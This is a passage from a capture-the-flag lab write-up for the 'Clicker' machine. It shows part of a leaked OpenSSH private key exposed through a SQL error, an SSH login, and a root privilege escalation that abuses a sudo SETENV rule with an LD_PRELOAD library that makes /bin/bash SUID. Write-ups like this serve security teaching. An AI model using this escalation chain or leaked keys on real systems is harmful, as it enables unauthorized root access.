DL53NSKxpvqS/v1AmaygePTmmrz/mQgGTayA5Uk5sl7Mo2CAn5Dw3PV2+KfAoa3uu7ufyC
kMJuNWT6uUKR2vxoLT5pEZKlg8Qmw2HHZxa6wUlpTSRMgO+R+xEQsemUFy0vCh4TyezD3i
SlyE8yMm8gdIgYJB+FP5m4eUyGTjTE4+lhXOKgEGPcw9+MK7Li05Kbgsv/ZwuLiI8UNAhc
9vgmEfs/hoiZPX6fpG+u4L82oKJuIbxF/I2Q2YBNIP9O9qVLdxUniEUCNl3BOAk/8H6usN
9pLG5kIalMYSl6lMnfethUiUrTZzATPYT1xZzQCdJ+qagLrl7O33aez3B/OAUrYmsBAAAA
wQDB7xyKB85+On0U9Qk1jS85dNaEeSBGb7Yp4e/oQGiHquN/xBgaZzYTEO7WQtrfmZMM4s
SXT5qO0J8TBwjmkuzit3/BjrdOAs8n2Lq8J0sPcltsMnoJuZ3Svqclqi8WuttSgKPyhC4s
FQsp6ggRGCP64C8N854//KuxhTh5UXHmD7+teKGdbi9MjfDygwk+gQ33YIr2KczVgdltwW
EhA8zfl5uimjsT31lks3jwk/I8CupZGrVvXmyEzBYZBegl3W4AAADBAO19sPL8ZYYo1n2j
rghoSkgwA8kZJRy6BIyRFRUODsYBlK0ItFnriPgWSE2b3iHo7cuujCDju0yIIfF2QG87Hh
zXj1wghocEMzZ3ELIlkIDY8BtrewjC3CFyeIY3XKCY5AgzE2ygRGvEL+YFLezLqhJseV8j
3kOhQ3D6boridyK3T66YGzJsdpEvWTpbvve3FM5pIWmA5LUXyihP2F7fs2E5aDBUuLJeyi
F0YCoftLetCA/kiVtqlT0trgO8Yh+78QAAAMEAwYV0GjQs3AYNLMGccWlVFoLLPKGItynr
Xxa/j3qOBZ+HiMsXtZdpdrV26N43CmiHRue4SWG1m/Vh3zezxNymsQrp6sv96vsFjM7gAI
JJK+Ds3zu2NNNmQ82gPwc/wNM3TatS/Oe4loqHg3nDn5CEbPtgc8wkxheKARAz0SbztcJC
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---
--------------
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1
www-data@clicker:/opt/manage$
id_rsa
. I will copy it into a file on my local machine and assign it 600
privileges. Please note that the output requires correction; the id_rsa is not well-formatted. We need to add some -
characters in the key limits:-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----
600
privileges:elswix@kali$ chmod 600 id_rsa_jack
elswix@kali$ ssh -i id_rsa jack@10.10.11.232
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Jan 23 01:58:52 PM UTC 2024
System load: 0.0087890625
Usage of /: 53.3% of 5.77GB
Memory usage: 19%
Swap usage: 0%
Processes: 248
Users logged in: 0
IPv4 address for eth0: 10.10.11.232
IPv6 address for eth0: dead:beef::250:56ff:feb9:695a
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jan 23 13:57:27 2024 from 10.10.16.5
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
jack@clicker:~$
Jack
.We can read
user.txt
:jack@clicker:~$ cat user.txt
7903e**********************b60b0
jack@clicker:~$
Jack
, we belong to interesting groups:jack@clicker:~$ export TERM=xterm
jack@clicker:~$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
jack@clicker:~$
sudo su
to gain access as root, leveraging membership in the sudo
group.As
Jack
, we have interesting sudo privileges:jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
jack@clicker:~$
/opt/monitor.sh
as root. The interesting thing here is the SETENV privilege.The SETENV privilege in the context of sudo allows a user to set or preserve environment variables when executing commands with elevated privileges. When a user has the SETENV privilege, they can control certain aspects of the command's execution environment, providing more flexibility and customization
Let's read the script:
jack@clicker:~$ cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
jack@clicker:~$
LD_PRELOAD
variable to a malicious shared library and escalate to root.LD_PRELOAD
is an environment variable in Unix-like operating systems that allows a user to specify a shared library to be loaded before other libraries when a program starts. So, in the event that we create a malicious library and set this variable, we could achieve execution as root, as the program will be executed with root privileges.Hacktricks has an excellent example of how to exploit this.
This will be the library source code
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/usr/bin/chmod 4755 /bin/bash");
}
/bin/bash
binary. Subsequently, we can execute with root privileges using bash -p
.Now, let's compile the code:
elswix@kali$ gcc malicious.c -fPIC -shared -nostartfiles -o malicious.so
malicious.c: In function ‘_init’:
malicious.c:7:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
7 | setgid(0);
| ^~~~~~
malicious.c:8:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
8 | setuid(0);
| ^~~~~~
jack@clicker:~$ sudo LD_PRELOAD=./malicious.so /opt/monitor.sh
<?xml version="1.0"?>
<data>
<timestamp>1706021915</timestamp>
<date>2024/01/23 02:58:35pm</date>
<php-version>8.1.2-1ubuntu2.14</php-version>
<test-connection-db>OK</test-connection-db>
<memory-usage>392704</memory-usage>
<environment>
<APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
<SYSTEMD_EXEC_PID>1174</SYSTEMD_EXEC_PID>
<APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
<JOURNAL_STREAM>8:26751</JOURNAL_STREAM>
<PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
<INVOCATION_ID>863bf7bd6c5e4002bcbad4f8a136e170</INVOCATION_ID>
<APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
<LANG>C</LANG>
<APACHE_RUN_USER>www-data</APACHE_RUN_USER>
<APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
<APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
<PWD>/</PWD>
</environment>
</data>
/bin/bash
, it will show that it has Set-UID privileges:jack@clicker:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
jack@clicker:~$
bash -p
, we can achieve execution as root:jack@clicker:~$ bash -p
bash-5.1# whoami
root
bash-5.1#
root.txt
:bash-5.1# cd /root
bash-5.1# cat root.txt
5e6e3**********************9c668
bash-5.1#